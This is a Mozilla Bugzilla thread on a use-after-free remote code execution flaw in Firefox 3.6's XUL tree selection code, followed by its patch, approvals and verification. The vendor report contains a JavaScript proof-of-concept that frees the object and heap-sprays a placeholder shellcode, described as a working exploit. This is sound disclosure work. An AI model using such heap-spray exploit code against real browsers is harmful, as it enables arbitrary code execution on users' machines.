Bugzilla@Mozilla – Bug 630919
nsTreeRange Dangling Pointer Remote Code Execution Vulnerability (ZDI-CAN-1084)
Last modified: 2011-05-09 13:26:47 PDT
Summon comment box
ZDI-CAN-1084: Mozilla Firefox nsTreeRange Dangling Pointer Remote Code Execution Vulnerability -- CVSS ---------------------------------------------------------------- 9, (AV:N/AC:L/Au:N/C:P/I:P/A:C) -- ABSTRACT ------------------------------------------------------------ TippingPoint has identified a vulnerability affecting the following products: Mozilla Firefox -- VULNERABILITY DETAILS ----------------------------------------------- This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Mozilla Firefox. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the way Firefox handles user defined functions of a nsTreeSelection element. When executing the function invalidateSelection it is possible to free the nsTreeSelection object that the function operates on. Any further operations on the freed object can result in remote code execution. Version(s) tested: Firefox 3.6.13 Platform(s) tested: Windows XP SP3 --------------------- Vulnerability details --------------------- View of XUL <tree> element exposes "selection" attribute. This in turn allows user to setup custom tree box object. One of |nsTreeSelection| methods is invalidateSelection(). From layout/xul/base/src/tree/src/nsTreeSelection.cpp: nsTreeSelection::InvalidateSelection() { if (mFirstRange) mFirstRange->Invalidate(); return NS_OK; } |mFirstRange| is defined as pointer to |nsTreeRange| struct. struct nsTreeRange { ... void Invalidate() { if (mSelection->mTree) mSelection->mTree->InvalidateRange(mMin, mMax); if (mNext) mNext->Invalidate(); } ... } If execution of our custom made method invalidateRange() causes destruction of all ranges withing selection (including |nsTreeRange| instance which code is being executed at the moment), |this| in the context of |Invalidate()| will be referring to already freed memory. In other words: value of |mNext| is under attackers' control. sel.tree = { invalidateRange: function(s,e) { sel.tree = null; sel.clearSelection(); var container = new Array(); var addr = unescape("%u0a0a%u0a0a"); var shellcode = unescape("%u9090%u9090"); // + var big = addr; while (big.length < 0x100000) big += big; var len = big.length - shellcode.length - 1; for (i = 0; i < 150; ++i) container.push(big.substring(0, len) + shellcode); var block = addr; while (block.length < 8) block += block; for (var i = 0; i < 1024*8; ++i) container.push(block + addr); } } This will remove the tree and replace the object with 0x0a0a0a0a. Its not 100% reliable, but it is a working exploit up to the DEP evasion. -- CREDIT -------------------------------------------------------------- This vulnerability was discovered by: * regenrecht
The PoC got eaten by TippingPoint's outgoing mail server (it thought it was a virus), so I've requested it in another form.
Created attachment 509193 [details] [review] Sledgehammer Sadly I can't see why this breaks. I can't see the wood for the trees ;-)
Created attachment 509195 [details] PoC
Created attachment 509210 [details] [review] Hack This might actually work, but I don't have a 1.9.x tree handy.
Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
(In reply to comment #5) > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237. And because we don't support Web XUL anymore
(In reply to comment #5) > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237. I'm confused, both of those bugs were fixed in 1.9.2 and back-ported to 1.9.1 -- something else is keeping the trunk safe. I mean beyond the lack of web XUL support, because I don't crash even when I enable remote XUL for testing with a current trunk nightly.
(In reply to comment #6) > (In reply to comment #5) > > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237. > And because we don't support Web XUL anymore But, as you noticed, even with that taken into account. (In reply to comment #7) > (In reply to comment #5) > > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237. > I'm confused, both of those bugs were fixed in 1.9.2 and back-ported to 1.9.1 > -- something else is keeping the trunk safe. Bug 516237 wasn't completely back-ported to 1.9.1 (and presumably 1.9.2, but I didn't check), because Thunderbird depended on it. See bug 516237 comment 12 and subsequent comments and patches.
Neil, are you still working on this?
(In reply to comment #9) > Neil, are you still working on this? Did you have anything in mind?
I was wondering if there is something to fix here, and if you're doing that. And if so, should this be assigned to you? If not, assign to me. This is an sg:crit bug we should fix asap.
Created attachment 514011 [details] [review] Collect and invalidate ranges safely
(I'll test the patch still some more.)
Neils, do we have any good tests for this stuff?
Tree selection tests are at http://mxr.mozilla.org/mozilla-central/source/toolkit/content/tests/widgets/tree_shared.js#208
the patch applies to trunk, 1.9.2 and 1.9.1
Comment on attachment 514011 [details] [review] Collect and invalidate ranges safely >+ static void CollectRanges(nsTreeRange* aRange, nsTArray<PRInt32>& aRanges) >+ { >+ nsTreeRange* cur = aRange; [You don't like modifying inparams?]
Comment on attachment 514011 [details] [review] Collect and invalidate ranges safely Approved for 1.9.2.15 and 1.9.1.18, a=dveditz for release-drivers
http://hg.mozilla.org/mozilla-central/rev/fab60117e622
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/fb8b7f69eb4f http://hg.mozilla.org/releases/mozilla-1.9.2/rev/c85da142aaf0
The "3.6.15" we're releasing today does not fix this bug, the release containing this bug fix has been renamed to "3.6.16" and the bugzilla flags will be updated to reflect that soon. Today's release is a re-release of 3.6.14 plus a fix for a bug that prevented many Java applets from starting up.
Verified for 1.9.2 on XP SP3 with nightly Firefox 1.9.2 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16pre) Gecko/20110317 Namoroka/3.6.16pre (.NET CLR 3.5.30729)) and verified crash in 1.9.2.15. Verified for 1.9.1 with nightly 1.9.1 build (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18pre) Gecko/20110317 Shiretoko/3.5.18pre (.NET CLR 3.5.30729)). Verified crash in 1.9.1.17.